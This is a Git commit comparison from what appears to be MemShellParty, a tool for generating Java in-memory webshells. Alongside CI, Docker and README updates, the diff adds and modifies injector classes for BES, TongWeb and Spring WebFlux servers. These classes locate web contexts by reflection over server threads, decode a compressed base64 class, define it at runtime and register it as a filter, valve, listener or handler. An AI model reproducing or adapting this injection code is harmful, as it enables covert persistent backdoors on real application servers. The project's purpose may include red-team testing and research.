Compare commits

...
26 Commits
Author SHA1 Message Date
ReaJason 97e85f5753 docs: add contributors in README
Docker Build Test / docker-build-test (push) Canceled after 0s
MemShell IntegrationTest / jenkins (push) Canceled after 0s
MemShell IntegrationTest / xxljob (push) Canceled after 0s
MemShell IntegrationTest / dubbo (push) Canceled after 0s
MemShell IntegrationTest / springwebmvc (push) Canceled after 0s
MemShell IntegrationTest / springwebflux (push) Canceled after 0s
MemShell IntegrationTest / struts2 (push) Canceled after 0s
MemShell IntegrationTest / tomcat (push) Canceled after 0s
MemShell IntegrationTest / glassfish (push) Canceled after 0s
MemShell IntegrationTest / jbosseap (push) Canceled after 0s
MemShell IntegrationTest / payara (push) Canceled after 0s
MemShell IntegrationTest / wildfly (push) Canceled after 0s
MemShell IntegrationTest / jetty (push) Canceled after 0s
MemShell IntegrationTest / weblogic (push) Canceled after 0s
MemShell IntegrationTest / jbossas (push) Canceled after 0s
MemShell IntegrationTest / resin (push) Canceled after 0s
MemShell IntegrationTest / geronimo (push) Canceled after 0s
MemShell IntegrationTest / websphere7 (push) Canceled after 0s
MemShell IntegrationTest / websphere (push) Canceled after 0s
Probe IntegrationTest / springwebmvc (push) Canceled after 0s
Probe IntegrationTest / springwebflux (push) Canceled after 0s
Probe IntegrationTest / struts2 (push) Canceled after 0s
Probe IntegrationTest / tomcat (push) Canceled after 0s
Probe IntegrationTest / glassfish (push) Canceled after 0s
Probe IntegrationTest / jbosseap (push) Canceled after 0s
Probe IntegrationTest / payara (push) Canceled after 0s
Probe IntegrationTest / wildfly (push) Canceled after 0s
Probe IntegrationTest / jetty (push) Canceled after 0s
Probe IntegrationTest / jbossas (push) Canceled after 0s
Probe IntegrationTest / resin (push) Canceled after 0s
Probe IntegrationTest / weblogic (push) Canceled after 0s
Probe IntegrationTest / websphere7 (push) Canceled after 0s
Probe IntegrationTest / websphere (push) Canceled after 0s
Unit-Test / UniteTest (push) Canceled after 0s
2026-08-31 00:11:30 +08:00
ReaJason 70d96e86b1 ci: docker build test support manual run 2026-08-30 22:05:11 +08:00
ReaJason 13fe8f0094 fix: vite8 preview build react-router in docker failed 2026-08-30 22:01:43 +08:00
ReaJason 961845f96f fix: source.config.ts file not found 2026-08-30 21:23:59 +08:00
ReaJason 4a12d74c7c chore: 2.10.0 2026-08-30 21:21:19 +08:00
ReaJason 7287409ce3 docs: updage changelog 2026-08-30 21:19:42 +08:00
ReaJason f806ab2c2c fix: docs link error 2026-08-30 21:19:42 +08:00
ReaJason e1152000f2 style: lint and fmt code 2026-08-30 21:19:42 +08:00
ReaJason 3ada01bd97 chore: upgrade deps 2026-08-30 21:19:42 +08:00
ReaJason e11eafe78b feat: upgrade fumadocs 2026-08-30 21:19:42 +08:00
ReaJason 6c41f208ba chore: remove decompile code comment 2026-08-30 21:19:42 +08:00
ReaJason ceb8e3ddb4 feat: add XSLT packer 2026-08-30 21:19:42 +08:00
ReaJason 70935d6ab1 feat: support Freemarker SpEL packer 2026-08-30 21:19:42 +08:00
ReaJason 305bc0e12c feat: support auto decompiling with cfr 2026-08-30 21:19:42 +08:00
ReaJason b74c8f6155 docs: update changelog 2026-08-30 21:19:42 +08:00
ReaJason 4a990b7e0c refactor: simplify BES getContext code 2026-08-30 21:19:42 +08:00
ReaJason 493e540984 fix: custom shell with jsr/ret generate failed 2026-08-30 21:19:42 +08:00
ReaJason 8514f1ae1f test: SpringBoot4 use JDK21 2026-08-30 21:19:42 +08:00
ReaJason c641a92557 fix: SpringBoot4 WebFlux Base64Utils not found 2026-08-30 21:19:42 +08:00
ReaJason cda6c9f64e test: probe jdk version changed 2026-08-30 21:19:42 +08:00
ReaJason 460172133b chore: update .gitignore 2026-08-30 21:19:42 +08:00
ReaJason 983bdaa2fa chore: 2.10.0-SNAPSHOT 2026-08-30 21:19:42 +08:00
ReaJason 244bbd910a fix: webfilter and handler broken business 2026-08-30 21:19:42 +08:00
ReaJason 17627d5134 chore: add bes tongweb boot info 2026-08-30 21:19:42 +08:00
ReaJason 9af244408b feat: support tongweb 7 embedded shell 2026-08-30 21:19:42 +08:00
su18 d4c6473543 feat(bes): add BES 10/11 context discovery via AppServer-utility thread
Docker Build Test / docker-build-test (push) Canceled after 0s
MemShell IntegrationTest / jenkins (push) Canceled after 0s
MemShell IntegrationTest / xxljob (push) Canceled after 0s
MemShell IntegrationTest / dubbo (push) Canceled after 0s
MemShell IntegrationTest / springwebmvc (push) Canceled after 0s
MemShell IntegrationTest / springwebflux (push) Canceled after 0s
MemShell IntegrationTest / struts2 (push) Canceled after 0s
MemShell IntegrationTest / tomcat (push) Canceled after 0s
MemShell IntegrationTest / glassfish (push) Canceled after 0s
MemShell IntegrationTest / jbosseap (push) Canceled after 0s
MemShell IntegrationTest / payara (push) Canceled after 0s
MemShell IntegrationTest / wildfly (push) Canceled after 0s
MemShell IntegrationTest / jetty (push) Canceled after 0s
MemShell IntegrationTest / weblogic (push) Canceled after 0s
MemShell IntegrationTest / jbossas (push) Canceled after 0s
MemShell IntegrationTest / resin (push) Canceled after 0s
MemShell IntegrationTest / geronimo (push) Canceled after 0s
MemShell IntegrationTest / websphere7 (push) Canceled after 0s
MemShell IntegrationTest / websphere (push) Canceled after 0s
Unit-Test / UniteTest (push) Canceled after 0s
2026-08-25 22:07:33 +08:00
126 changed files with 6349 additions and 1211 deletions
+1
View File
@@ -1,6 +1,7 @@
name: Docker Build Test name: Docker Build Test
on: on:
workflow_dispatch:
push: push:
branches: branches:
- master - master
@@ -44,9 +44,9 @@ jobs:
- middleware: "weblogic" - middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war" depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
- middleware: "springwebmvc" - middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar" depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar :vul:vul-springboot4:bootJar"
- middleware: "springwebflux" - middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar" depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar :vul:vul-springboot4-webflux:bootJar"
- middleware: "xxljob" - middleware: "xxljob"
depend_tasks: "" depend_tasks: ""
- middleware: "struts2" - middleware: "struts2"
+3 -1
View File
@@ -41,7 +41,9 @@ jobs:
- middleware: "weblogic" - middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war" depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
- middleware: "springwebmvc" - middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar" depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar :vul:vul-springboot4:bootJar"
- middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar :vul:vul-springboot4-webflux:bootJar"
- middleware: "struts2" - middleware: "struts2"
depend_tasks: ":vul:vul-struts2:war" depend_tasks: ":vul:vul-struts2:war"
runs-on: ubuntu-22.04 runs-on: ubuntu-22.04
+3 -1
View File
@@ -61,4 +61,6 @@ integration-test/**/apusic
integration-test/**/bes integration-test/**/bes
integration-test/**/tongweb integration-test/**/tongweb
integration-test/**/inforsuite integration-test/**/inforsuite
integration-test/**/primeton integration-test/**/primeton
vul/vul-springboot3-bes
vul/vul-springboot3-tongweb
+5 -4
View File
@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
rm -rf vul integration-test tools rm -rf vul integration-test tools
# https://hub.docker.com/r/oven/bun # https://hub.docker.com/r/oven/bun
FROM --platform=$BUILDPLATFORM oven/bun:1.3.14 AS frontend FROM --platform=$BUILDPLATFORM oven/bun:1.4.0 AS frontend
ARG ROUTE_ROOT_PATH="" ARG ROUTE_ROOT_PATH=""
ARG CONTEXT_PATH="" ARG CONTEXT_PATH=""
@@ -16,7 +16,8 @@ WORKDIR /usr/src/web
ENV VITE_APP_API_URL=${CONTEXT_PATH} \ ENV VITE_APP_API_URL=${CONTEXT_PATH} \
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/source.config.ts /usr/src/web/ COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/
COPY --from=source /usr/src/web/vendor/cfr /usr/src/web/vendor/cfr
RUN bun install --frozen-lockfile RUN bun install --frozen-lockfile
@@ -25,7 +26,7 @@ COPY --from=source /usr/src/web /usr/src/web
RUN bun run build RUN bun run build
# https://hub.docker.com/_/eclipse-temurin/tags?name=21. # https://hub.docker.com/_/eclipse-temurin/tags?name=21.
FROM --platform=$BUILDPLATFORM eclipse-temurin:21.0.11_10-jdk-noble AS backend FROM --platform=$BUILDPLATFORM eclipse-temurin:21.0.12_8-jdk-noble AS backend
WORKDIR /usr/src WORKDIR /usr/src
@@ -35,7 +36,7 @@ COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/res
RUN ./gradlew :boot:bootjar -x test RUN ./gradlew :boot:bootjar -x test
FROM eclipse-temurin:21.0.11_10-jre-noble FROM eclipse-temurin:21.0.12_8-jre-noble
LABEL authors="ReaJason<[email protected]>" LABEL authors="ReaJason<[email protected]>"
+6
View File
@@ -78,6 +78,12 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
``` ```
## 贡献者
<a href="https://github.com/ReaJason/MemShellParty/graphs/contributors">
<img src="https://contrib.rocks/image?repo=ReaJason/MemShellParty" width="20%" />
</a>
## Special Thanks ## Special Thanks
- [vulhub/java-chains](https://github.com/vulhub/java-chains) - [vulhub/java-chains](https://github.com/vulhub/java-chains)
+1 -1
View File
@@ -9,7 +9,7 @@ idea {
} }
} }
version = "2.9.0" version = "2.10.0"
tasks.register("publishAllToMavenCentral") { tasks.register("publishAllToMavenCentral") {
dependsOn(":memshell-party-common:publishToMavenCentral") dependsOn(":memshell-party-common:publishToMavenCentral")
@@ -23,6 +23,10 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
protected abstract DynamicType.Builder<?> getBuilder(); protected abstract DynamicType.Builder<?> getBuilder();
protected int getTargetJreVersion() {
return shellConfig.getTargetJreVersion();
}
protected byte[] postProcessBytes(byte[] classBytes) { protected byte[] postProcessBytes(byte[] classBytes) {
return classBytes; return classBytes;
} }
@@ -43,7 +47,7 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
builder = ProcessorRegistry.applyBuilderProcessors(builder, shellConfig, shellToolConfig) builder = ProcessorRegistry.applyBuilderProcessors(builder, shellConfig, shellToolConfig)
.name(shellClassName) .name(shellClassName)
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())); .visit(new TargetJreVersionVisitorWrapper(getTargetJreVersion()));
try (DynamicType.Unloaded<?> unloaded = builder.make()) { try (DynamicType.Unloaded<?> unloaded = builder.make()) {
byte[] bytes = postProcessBytes(unloaded.getBytes()); byte[] bytes = postProcessBytes(unloaded.getBytes());
@@ -7,6 +7,10 @@ import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.ClassFileLocator; import net.bytebuddy.dynamic.ClassFileLocator;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.jar.asm.ClassReader; import net.bytebuddy.jar.asm.ClassReader;
import net.bytebuddy.jar.asm.ClassVisitor;
import net.bytebuddy.jar.asm.Label;
import net.bytebuddy.jar.asm.MethodVisitor;
import net.bytebuddy.jar.asm.Opcodes;
import net.bytebuddy.pool.TypePool; import net.bytebuddy.pool.TypePool;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
@@ -17,6 +21,7 @@ import java.util.Base64;
* @since 2025/3/18 * @since 2025/3/18
*/ */
public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig> { public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig> {
private boolean containsSubroutines;
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) { public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
super(shellConfig, customConfig); super(shellConfig, customConfig);
@@ -27,6 +32,7 @@ public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig>
String shellClassBase64 = shellToolConfig.getShellClassBase64(); String shellClassBase64 = shellToolConfig.getShellClassBase64();
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64); byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
ClassReader classReader = new ClassReader(classBytes); ClassReader classReader = new ClassReader(classBytes);
containsSubroutines = containsSubroutines(classReader);
String className = classReader.getClassName().replace('/', '.'); String className = classReader.getClassName().replace('/', '.');
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) { if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
shellToolConfig.setShellClassName(className); shellToolConfig.setShellClassName(className);
@@ -43,4 +49,38 @@ public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig>
return new ByteBuddy() return new ByteBuddy()
.redefine(typeDescription, compoundLocator); .redefine(typeDescription, compoundLocator);
} }
@Override
protected int getTargetJreVersion() {
// Byte Buddy cannot emit a class version newer than Java 5 when the
// source bytecode contains legacy jsr/ret subroutines. Keep such
// custom classes at Java 5; Java 6+ runtimes can load them as well.
return containsSubroutines ? Opcodes.V1_5 : super.getTargetJreVersion();
}
private static boolean containsSubroutines(ClassReader classReader) {
final boolean[] found = {false};
classReader.accept(new ClassVisitor(Opcodes.ASM9) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
return new MethodVisitor(Opcodes.ASM9) {
@Override
public void visitJumpInsn(int opcode, Label label) {
if (opcode == Opcodes.JSR) {
found[0] = true;
}
}
@Override
public void visitVarInsn(int opcode, int var) {
if (opcode == Opcodes.RET) {
found[0] = true;
}
}
};
}
}, ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES);
return found[0];
}
} }
@@ -45,6 +45,7 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
public static final String TONGWEB6_VALVE_PACKAGE = "com.tongweb.web.thor"; public static final String TONGWEB6_VALVE_PACKAGE = "com.tongweb.web.thor";
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina"; public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server"; public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
public static final String TONGWEB_EMBEDDED_VALVE_PACKAGE = "com.tongweb.container";
public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) { public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
String packageName = null; String packageName = null;
@@ -53,7 +54,7 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
} }
if (shell instanceof TongWeb) { if (shell instanceof TongWeb) {
if (serverVersion == null) { if (serverVersion == null) {
throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8'] for shellConfig.serverVersion"); throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8', '7.E'] for shellConfig.serverVersion");
} }
switch (serverVersion) { switch (serverVersion) {
case "6": case "6":
@@ -65,8 +66,11 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
case "8": case "8":
packageName = TONGWEB8_VALVE_PACKAGE; packageName = TONGWEB8_VALVE_PACKAGE;
break; break;
case "7.E":
packageName = TONGWEB_EMBEDDED_VALVE_PACKAGE;
break;
default: default:
throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8'] for shellConfig.serverVersion"); throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8', '7.E'] for shellConfig.serverVersion");
} }
} }
if (StringUtils.isNotBlank(packageName)) { if (StringUtils.isNotBlank(packageName)) {
@@ -85,10 +85,27 @@ public class BesFilterInjector {
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Collection<?> values = childrenMap.values(); for (Object value : childrenMap.values()) {
for (Object value : values) { contexts.addAll(((Map<?, ?>) getFieldValue(value, "children")).values());
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); }
contexts.addAll(children.values()); } else if (thread.getName().contains("AppServer-utility")) {
// BES 10 / BES 11: AppServer-utility thread fallback.
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
Object target = getFieldValue(thread, "target");
try {
target = getFieldValue(target, "wrappedRunnable");
} catch (Throwable ignored) {
}
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(target, "this$0"), "workQueue");
for (Object task : workQueue) {
Object runnable = getFieldValue(getFieldValue(task, "callable"), "task");
if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(runnable, "this$0"), "children");
for (Object host : childrenMap.values()) {
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
}
} }
} else if (thread.getContextClassLoader() != null) { } else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName(); String name = thread.getContextClassLoader().getClass().getSimpleName();
@@ -77,10 +77,27 @@ public class BesListenerInjector {
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Collection<?> values = childrenMap.values(); for (Object value : childrenMap.values()) {
for (Object value : values) { contexts.addAll(((Map<?, ?>) getFieldValue(value, "children")).values());
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); }
contexts.addAll(children.values()); } else if (thread.getName().contains("AppServer-utility")) {
// BES 10 / BES 11: AppServer-utility thread fallback.
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
Object target = getFieldValue(thread, "target");
try {
target = getFieldValue(target, "wrappedRunnable");
} catch (Throwable ignored) {
}
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(target, "this$0"), "workQueue");
for (Object task : workQueue) {
Object runnable = getFieldValue(getFieldValue(task, "callable"), "task");
if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(runnable, "this$0"), "children");
for (Object host : childrenMap.values()) {
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
}
} }
} else if (thread.getContextClassLoader() != null) { } else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName(); String name = thread.getContextClassLoader().getClass().getSimpleName();
@@ -76,10 +76,27 @@ public class BesValveInjector {
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Collection<?> values = childrenMap.values(); for (Object value : childrenMap.values()) {
for (Object value : values) { contexts.addAll(((Map<?, ?>) getFieldValue(value, "children")).values());
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); }
contexts.addAll(children.values()); } else if (thread.getName().contains("AppServer-utility")) {
// BES 10 / BES 11: AppServer-utility thread fallback.
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
Object target = getFieldValue(thread, "target");
try {
target = getFieldValue(target, "wrappedRunnable");
} catch (Throwable ignored) {
}
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(target, "this$0"), "workQueue");
for (Object task : workQueue) {
Object runnable = getFieldValue(getFieldValue(task, "callable"), "task");
if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(runnable, "this$0"), "children");
for (Object host : childrenMap.values()) {
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
}
} }
} else if (thread.getContextClassLoader() != null) { } else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName(); String name = thread.getContextClassLoader().getClass().getSimpleName();
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell.injector.springwebflux; package com.reajason.javaweb.memshell.injector.springwebflux;
import org.springframework.util.Base64Utils;
import org.springframework.web.reactive.function.server.*; import org.springframework.web.reactive.function.server.*;
import org.springframework.web.reactive.function.server.support.RouterFunctionMapping; import org.springframework.web.reactive.function.server.support.RouterFunctionMapping;
@@ -63,7 +62,7 @@ public class SpringWebFluxHandlerFunctionInjector {
try { try {
interceptor = classLoader.loadClass(getClassName()).newInstance(); interceptor = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String())); byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell.injector.springwebflux; package com.reajason.javaweb.memshell.injector.springwebflux;
import org.springframework.util.Base64Utils;
import org.springframework.web.method.HandlerMethod; import org.springframework.web.method.HandlerMethod;
import org.springframework.web.reactive.result.method.RequestMappingInfo; import org.springframework.web.reactive.result.method.RequestMappingInfo;
import org.springframework.web.reactive.result.method.annotation.RequestMappingHandlerMapping; import org.springframework.web.reactive.result.method.annotation.RequestMappingHandlerMapping;
@@ -63,7 +62,7 @@ public class SpringWebFluxHandlerMethodInjector {
try { try {
interceptor = classLoader.loadClass(getClassName()).newInstance(); interceptor = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String())); byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell.injector.springwebflux; package com.reajason.javaweb.memshell.injector.springwebflux;
import org.springframework.util.Base64Utils;
import org.springframework.web.server.WebFilter; import org.springframework.web.server.WebFilter;
import org.springframework.web.server.handler.DefaultWebFilterChain; import org.springframework.web.server.handler.DefaultWebFilterChain;
import org.springframework.web.server.handler.FilteringWebHandler; import org.springframework.web.server.handler.FilteringWebHandler;
@@ -58,7 +57,7 @@ public class SpringWebFluxWebFilterInjector {
try { try {
return classLoader.loadClass(getClassName()).newInstance(); return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String())); byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
@@ -17,7 +17,8 @@ public class TongWebContextValveAgentInjector implements ClassFileTransformer {
private static final String[] TARGET_CLASSES = new String[]{ private static final String[] TARGET_CLASSES = new String[]{
"com/tongweb/web/thor/core/StandardContextValve", "com/tongweb/web/thor/core/StandardContextValve",
"com/tongweb/catalina/core/StandardContextValve", "com/tongweb/catalina/core/StandardContextValve",
"com/tongweb/server/core/StandardContextValve" "com/tongweb/server/core/StandardContextValve",
"com/tongweb/container/core/StandardContextValve"
}; };
private static final String TARGET_METHOD_NAME = "invoke"; private static final String TARGET_METHOD_NAME = "invoke";
@@ -17,7 +17,8 @@ public class TongWebFilterChainAgentInjector implements ClassFileTransformer {
private static final String[] TARGET_CLASSES = new String[]{ private static final String[] TARGET_CLASSES = new String[]{
"com/tongweb/web/thor/core/ApplicationFilterChain", "com/tongweb/web/thor/core/ApplicationFilterChain",
"com/tongweb/catalina/core/ApplicationFilterChain", "com/tongweb/catalina/core/ApplicationFilterChain",
"com/tongweb/server/core/ApplicationFilterChain" "com/tongweb/server/core/ApplicationFilterChain",
"com/tongweb/container/core/ApplicationFilterChain"
}; };
private static final String TARGET_METHOD_NAME = "doFilter"; private static final String TARGET_METHOD_NAME = "doFilter";
@@ -167,11 +167,19 @@ public class TongWebFilterInjector {
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap"); filterMapClass = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap");
filterMap = filterMapClass.newInstance(); filterMap = filterMapClass.newInstance();
} catch (Exception e) { } catch (Exception e) {
// tongweb 8 try {
constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; // tongweb 8
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance(); constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap"); filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
filterMap = filterMapClass.newInstance(); filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
filterMap = filterMapClass.newInstance();
} catch (Exception e1) {
// tongweb embedded (spring boot)
constructor = contextClassLoader.loadClass("com.tongweb.container.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
filterMap = filterMapClass.newInstance();
}
} }
} }
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
@@ -141,8 +141,13 @@ public class TongWebValveInjector {
// tongweb6 // tongweb6
valveClass = contextClassLoader.loadClass("com.tongweb.web.thor.Valve"); valveClass = contextClassLoader.loadClass("com.tongweb.web.thor.Valve");
} catch (ClassNotFoundException e1) { } catch (ClassNotFoundException e1) {
// tongweb8 try {
valveClass = contextClassLoader.loadClass("com.tongweb.server.Valve"); // tongweb8
valveClass = contextClassLoader.loadClass("com.tongweb.server.Valve");
} catch (ClassNotFoundException e2) {
// tongweb embedded (spring boot)
valveClass = contextClassLoader.loadClass("com.tongweb.container.Valve");
}
} }
} }
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
@@ -19,8 +19,11 @@ public class TongWeb extends AbstractServer {
